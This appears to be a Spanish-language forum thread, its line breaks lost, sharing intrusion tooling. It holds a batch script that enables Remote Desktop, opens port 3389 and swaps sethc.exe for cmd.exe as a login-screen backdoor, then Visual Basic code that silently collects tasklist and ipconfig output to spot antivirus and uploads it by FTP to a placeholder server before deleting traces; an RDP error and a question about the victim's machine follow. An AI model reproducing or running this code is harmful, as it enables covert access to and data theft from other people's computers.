reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /fnetsh firewall resetnetsh firewall add portopening TCP 3389 "Escritorio Remoto" enable allcopy /y "%windir%\system32\cmd.exe" "%windir%\system32\sethc.exe">nul 2>&1exit
'declaracionesPrivate Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As LongPrivate Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As LongPrivate Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As BooleanPrivate Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As IntegerPrivate Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As BooleanConst INTERNET_OPEN_TYPE_PRECONFIG = 0Const INTERNET_DEFAULT_FTP_PORT = 21Const INTERNET_SERVICE_FTP = 1Const PassiveConnection As Boolean = TrueConst INTERNET_FLAG_PASSIVE = &H8000000Const FTP_TRANSFER_TYPE_UNKNOWN = &H0Dim hConnection, hOpen, Num As LongDim ruta As StringPrivate Sub Form_Load()On Error Resume Nextruta = Environ$("homedrive") & "\Sys"Kill ruta & "\*.*"RmDir rutaMkDir ruta'crea un nuevo directorio, para que no falle :)Shell "cmd.exe /c tasklist>" & ruta & "\ip.txt", vbHide 'tasklist, para ver el AV >:DTimer2.Enabled = TrueEnd SubPrivate Sub Timer1_Timer()'Subir el archivo a un ftphOpen = InternetOpen("IE", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)DoEventshConnection = InternetConnect(hOpen, "ftp.servidor.com", INTERNET_DEFAULT_FTP_PORT, "usuario", "password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)DoEventsFtpSetCurrentDirectory hConnection, "\"DoEventsFtpPutFile hConnection, ruta & "\ip.txt", "ip.txt", FTP_TRANSFER_TYPE_UNKNOWN, 0DoEventsInternetCloseHandle hConnectionInternetCloseHandle hOpenKill ruta & "\ip.txt"RmDir rutaTimer1.Enabled = FalseEndEnd SubPrivate Sub Timer2_Timer()Shell "cmd.exe /c ipconfig>>" & ruta & "\ip.txt", vbHideTimer2.Enabled = FalseTimer1.Enabled = TrueEnd Sub
El cliente no se puede conectar al equipo remoto.Es posible que no estén habilitadas las conexiones remotas, o que el equipo esté muy ocupado para aceptar conexiones.También es posible que haya problemas de red que impidan que se conecte.Vuelva a intentar la conexión más tarde. Si el problema persiste, póngase en contacto con su administrador.
Una pequeña duda. El debe tener instalado el FTP ?